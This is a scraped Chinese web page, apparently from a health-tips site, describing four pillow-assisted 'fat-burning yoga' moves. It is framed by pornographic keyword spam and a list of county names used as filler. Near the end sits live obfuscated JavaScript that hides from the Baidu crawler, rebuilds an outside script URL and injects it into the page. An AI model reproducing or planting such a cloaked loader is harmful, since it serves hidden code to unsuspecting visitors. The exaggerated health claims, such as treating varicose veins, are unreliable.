亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運(yùn)動減肥 > 正文

10分鐘超有效燃脂瘦身瑜伽如何做呢

2017-06-11 20:25:30  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在人的生活節(jié)奏是比較快的,很多女性平時(shí)都沒有時(shí)間鍛煉身體,但有比較關(guān)心自己的身材,很關(guān)心各種燃脂瘦身的方法。其中瑜伽是比較典型的

現(xiàn)在人的生活節(jié)奏是比較快的,很多女性平時(shí)都沒有時(shí)間鍛煉身體,但有比較關(guān)心自己的身材,很關(guān)心各種燃脂瘦身的方法。其中瑜伽是比較典型的一種,并且可以簡單的10分鐘鍛煉,就能夠獲得不錯的效果。那么,10分鐘超有效燃脂瘦身瑜伽如何做?下面咱們就來詳細(xì)看看吧。

動作一:平趴在床上,讓大腿和小腿呈90度角,然后將枕頭夾在小腿中間。吸氣時(shí),上身和雙腿盡量高地抬離地面,保持動作五秒,然后呼氣還原。功效:腿夾緊枕頭能促進(jìn)大腿內(nèi)側(cè)脂肪的消耗,增加背部的收縮,使放松后的舒適度增加,改善睡眠質(zhì)量。

動作二:面朝上平躺在床上,把枕頭放在小腿部位,然后吸氣,將雙腿和上半身同時(shí)慢慢抬起,保持動作五秒,呼氣時(shí)還原,如果覺得吃力可以用雙手拉住枕頭邊緣。功效:借助枕頭的重量加強(qiáng)腹部肌肉收縮,減少贅肉,刺激神經(jīng),起到安神作用,改善睡眠質(zhì)量。

動作三:面朝上平躺在床上,用小腿把枕頭夾起來,吸氣,兩腿向上抬高45度,保持動作五秒,呼氣時(shí)還原。功效:可以有效改善小肚腩的狀況,加強(qiáng)脊椎力量,還有助眠作用。

動作四:面朝上平躺在床上,把枕頭墊在臀部下方,雙腿豎起貼在墻上,盡量保持這個姿勢分鐘。功效:能夠消除小腿水腫,血液充分向上半身回流,治療和預(yù)防靜脈曲張,并且可以很快感到有睡意。

上面就是對10分鐘超有效燃脂瘦身瑜伽鍛煉方法的介紹,希望對女性的認(rèn)識有幫助。平時(shí)燃脂瘦身的方法有很多,只要女性能夠全面的認(rèn)識10分鐘超有效燃脂瘦身瑜伽的鍛煉方法,平時(shí)堅(jiān)持進(jìn)行鍛煉,這樣才能獲得最好的美體效果,女性可以嘗試。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
垣曲县| 仁布县| 汉沽区| 同江市| 磐安县| 青州市| 金坛市| 浠水县| 连城县| 西吉县| 郸城县| 石狮市| 桦南县| 社旗县| 平南县| 喀喇沁旗| 永济市| 涟源市| 冀州市| 万源市| 溧水县| 海阳市| 若尔盖县| 正蓝旗| 徐汇区| 富宁县| 沁阳市| 登封市| 德阳市| 彰化市| 铁力市| 兴业县| 天柱县| 华蓥市| 天镇县| 西充县| 阿拉善左旗| 喀喇| 谢通门县| 广饶县| 元氏县|